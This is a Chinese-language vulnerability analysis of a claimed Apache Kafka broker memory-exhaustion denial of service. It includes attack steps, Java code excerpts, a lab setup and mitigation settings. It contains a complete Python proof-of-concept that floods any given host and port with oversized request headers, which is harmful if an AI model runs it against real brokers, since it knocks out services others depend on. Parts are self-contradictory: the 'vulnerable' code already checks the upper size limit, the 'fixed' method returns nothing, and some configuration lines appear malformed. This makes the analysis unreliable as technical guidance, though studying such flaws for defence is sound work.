1. 攻击者建立 TCP 连接到 Broker（默认端口 9092）
2. 发送恶意构造的请求，包含超大的 size 字段
3. Broker 解析请求头，根据 size 字段分配内存缓冲区
4. 由于缺乏 size 上限检查，Broker 分配大量堆内存
5. 重复发送此类请求，触发 OutOfMemoryError
6. Broker 崩溃，导致服务拒绝

1. 攻击者建立 TCP 连接
2. 在 SASL 认证阶段之前或期间发送恶意请求
3. 无需提供有效的 SASL 凭证
4. 触发内存耗尽

// org.apache.kafka.common.network.NetworkReceive
public class NetworkReceive implements Receive {
    private final int maxSize;
    private final ByteBuffer size; // 4 bytes for size

    public NetworkReceive(int maxSize) {
        this.maxSize = maxSize; // 问题：maxSize 可能被设置为非常大的值
        this.size = ByteBuffer.allocate(4);
    }

    public long readFrom(SelectableChannel channel) throws IOException {
        // 读取 size 字段
        int bytesRead = channel.read(size);
        if (size.hasRemaining())
            return bytesRead;

        size.rewind();
        int requestedSize = size.getInt(); // 攻击者控制的值

        // 漏洞点：缺乏对 requestedSize 的合理上限检查
        if (requestedSize > maxSize)
            throw new InvalidRequestException(...);

        // 根据 requestedSize 分配缓冲区
        this.payload = ByteBuffer.allocate(requestedSize);
        return bytesRead;
    }
}

// 修复后的代码
public long readFrom(SelectableChannel channel) throws IOException {
    // ... 前面代码相同 ...

    size.rewind();
    int requestedSize = size.getInt();

    // 新增：检查 size 的合理下限
    if (requestedSize < 0) {
        throw new InvalidRequestException("Size cannot be negative");
    }

    // 新增：使用更严格的内存配额限制
    if (requestedSize > Math.min(maxSize, connectionQuota.maxRequestSize())) {
        throw new InvalidRequestException(
            "Request size " + requestedSize + " exceeds maximum allowed");
    }

    // 新增：全局内存使用率检查
    if (memoryPool.availableMemory() < requestedSize) {
        throw new MemoryLimitExceededException("Insufficient memory");
    }

    this.payload = memoryPool.tryAllocate(requestedSize);
}

# 下载受影响版本
wget https://archive.apache.org/dist/kafka/3.2.1/kafka_2.13-3.2.1.tgz
tar -xzf kafka_2.13-3.2.1.tgz
cd kafka_2.13-3.2.1

# 配置 Broker（无认证模式）
cat > config/server.properties << EOF
listeners=PLAINTEXT://:9092
broker.id=0
log.dirs=/tmp/kafka-logs
zookeeper.connect=localhost:2181
EOF

# 启动服务
bin/zookeeper-server-start.sh config/zookeeper.properties &
bin/kafka-server-start.sh config/server.properties &

#!/usr/bin/env python3
import socket
import struct
import time

def create_malicious_request():
    """
    构造恶意请求，包含超大的 size 字段
    """
    # Kafka 请求格式：size(4 bytes) + api_key(2) + api_version(2) + correlation_id(4) + client_id

    # 构造一个超大 size 的请求头
    # 这里设置为 1GB - 1 (避免可能的整数溢出检查)
    malicious_size = 1024 * 1024 * 1024 - 1  # ~1GB

    # 请求头
    api_key = 0  # Produce API
    api_version = 0
    correlation_id = 1

    # 打包请求
    header = struct.pack('>HHI', api_key, api_version, correlation_id)

    # 完整请求：size + header + payload
    request = struct.pack('>I', malicious_size) + header

    return request

def attack_broker(host, port, num_connections=100):
    """
    发起拒绝服务攻击
    """
    sockets = []

    print(f"[*] Connecting to {host}:{port}")

    for i in range(num_connections):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((host, port))

            # 发送恶意请求
            request = create_malicious_request()
            s.send(request)

            sockets.append(s)
            print(f"[+] Connection {i+1} sent malicious request")

        except Exception as e:
            print(f"[-] Connection {i+1} failed: {e}")

    print(f"[*] Sent {len(sockets)} malicious requests")
    print(f"[*] Check broker memory usage and OOM errors")

    # 保持连接
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        for s in sockets:
            s.close()

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <host> <port> [num_connections]")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])
    num_conn = int(sys.argv[3]) if len(sys.argv) > 3 else 100

    attack_broker(host, port, num_conn)

# 1. 监控 Broker 内存使用
watch -n 1 'ps aux | grep kafka | grep -v grep'

# 2. 运行 PoC
python3 kafka_dos_poc.py localhost 9092 50

# 3. 观察 Broker 日志
tail -f logs/server.log

# 预期结果：
# - Broker 内存使用急剧上升
# - 最终抛出 OutOfMemoryError
# - Broker 进程崩溃或响应极其缓慢

# 使用防火墙限制对 Kafka Broker 的访问
iptables -A INPUT -p tcp --dport 9092 -s <trusted_network> -j ACCEPT
iptables -A INPUT -p tcp --dport 9092 -j DROP

# server.properties
# 限制最大请求大小
socket.request.max.bytes=104857600  # 100MB

# 启用请求配额
quota.producer.default=100MB
quota.consumer.default=100MB

# 连接数限制
max.connections=100
max.connections.per.ip=10

# 启用 SASL 认证
listeners=SASL_PLAINTEXT://:9092
security.inter.broker.protocol=SASL_PLAINTEXT
sasl.mechanism.inter.broker.protocol=PLAIN
sasl.enabled.mechanisms=PLAIN

# 启用 ACL
authorizer.class.name=kafka.security.authorizer.AclAuthorizer
allow.everyone.if.no.acl.found=false

# 增加堆内存
export KAFKA_HEAP_OPTS="-Xms4g -Xmx4g"

# 启用 GC 日志和内存监控
export KAFKA_JVM_PERFORMANCE_OPTS="-XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingHeapOccupancyPercent=35 -XX:+ExplicitGCInvokesConcurrent -Djava.awt.headless=true"

# 使用 Java Flight Recorder 监控内存
-XX:StartFlightRecording=duration=60s,filename=memory.jfr,settings=profile